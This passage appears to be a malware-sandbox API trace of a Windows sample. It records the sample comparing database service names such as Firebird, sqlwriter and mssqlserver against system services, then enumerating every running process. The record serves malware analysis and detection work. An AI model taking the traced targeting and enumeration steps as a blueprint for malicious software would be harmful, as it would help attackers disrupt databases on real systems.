lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.324] lstrlenW (lpString="SamSs") returned 5 [0155.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.324] lstrlenW (lpString="Schedule") returned 8 [0155.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.324] lstrlenW (lpString="SecurityHealthService") returned 21 [0155.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0155.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0155.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0155.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0155.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0155.324] lstrlenW (lpString="SENS") returned 4 [0155.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.325] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.325] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.325] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.325] lstrlenW (lpString="Spooler") returned 7 [0155.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.372] lstrlenW (lpString="SSDPSRV") returned 7 [0155.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0155.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0155.372] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0155.372] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0155.372] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7efbc8 | out: hHeap=0x790000) returned 1 [0155.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0155.385] Process32FirstW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.386] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.386] lstrlenW (lpString="System") returned 6 [0155.386] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.387] lstrlenW (lpString="smss.exe") returned 8 [0155.387] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.390] lstrlenW (lpString="csrss.exe") returned 9 [0155.390] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.390] lstrlenW (lpString="wininit.exe") returned 11 [0155.390] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.391] lstrlenW (lpString="csrss.exe") returned 9 [0155.391] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.391] lstrlenW (lpString="winlogon.exe") returned 12 [0155.391] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.392] lstrlenW (lpString="services.exe") returned 12 [0155.392] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.393] lstrlenW (lpString="lsass.exe") returned 9 [0155.393] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.393] lstrlenW (lpString="svchost.exe") returned 11 [0155.393] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0155.394] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0155.394] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0155.394] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0155.394] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.395] lstrlenW (lpString="svchost.exe") returned 11 [0155.395] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0155.396] lstrlenW (lpString="dwm.exe") returned 7 [0155.396] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.396] lstrlenW (lpString="svchost.exe") returned 11 [0155.396] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.397] lstrlenW (lpString="svchost.exe") returned 11 [0155.397] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.397] lstrlenW (lpString="svchost.exe") returned 11 [0155.397] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.398] lstrlenW (lpString="svchost.exe") returned 11 [0155.398] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.399] lstrlenW (lpString="svchost.exe") returned 11 [0155.399] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.400] lstrlenW (lpString="svchost.exe") returned 11 [0155.400] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.400] lstrlenW (lpString="svchost.exe") returned 11 [0155.400] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.401] lstrlenW (lpString="svchost.exe") returned 11 [0155.401] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.402] lstrlenW (lpString="svchost.exe") returned 11 [0155.402] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0155.402] lstrlenW (lpString="spoolsv.exe") returned 11 [0155.402] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.403] lstrlenW (lpString="svchost.exe") returned 11 [0155.403] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.403] lstrlenW (lpString="svchost.exe") returned 11 [0155.404] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0155.404] lstrlenW (lpString="audiodg.exe") returned 11 [0155.404] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0155.405] lstrlenW (lpString="sihost.exe") returned 10 [0155.405] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.405] lstrlenW (lpString="svchost.exe") returned 11 [0155.405] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.406] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.406] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0155.407] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0155.407] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0155.407] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0155.407] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.408] lstrlenW (lpString="explorer.exe") returned 12 [0155.408] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0155.408] lstrlenW (lpString="Memory Compression") returned 18 [0155.408] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0155.409] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0155.409] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0155.410] lstrlenW (lpString="SearchUI.exe") returned 12 [0155.410] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0155.410] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0155.410] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0155.411] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0155.411] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.411] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.411] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0155.412] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0155.412] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0155.413] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0155.413] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0155.413] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0155.413] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0155.414] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0155.414] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0155.414] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0155.414] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.471] lstrlenW (lpString="conhost.exe") returned 11 [0155.471] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0155.472] lstrlenW (lpString="screensaver.exe") returned 15 [0155.472] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0155.472] lstrlenW (lpString="upperarc.exe") returned 12 [0155.472] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0155.473] lstrlenW (lpString="buying.exe") returned 10 [0155.473] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0155.474] lstrlenW (lpString="downloadable.exe") returned 16 [0155.474] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0155.474] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0155.474] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0155.475] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0155.475] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0155.476] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0155.476] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0155.476] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0155.476] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0155.477] lstrlenW (lpString="moments.exe") returned 11 [0155.477] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0155.477] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0155.477] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0155.478] lstrlenW (lpString="stream-test.exe") returned 15 [0155.478] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0155.478] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0155.479] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.479] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.479] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0155.480] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0155.480] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0155.481] lstrlenW (lpString="movers-indication.exe") returned 21 [0155.481] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0155.482] lstrlenW (lpString="drama tv thee.exe") returned 17 [0155.482] 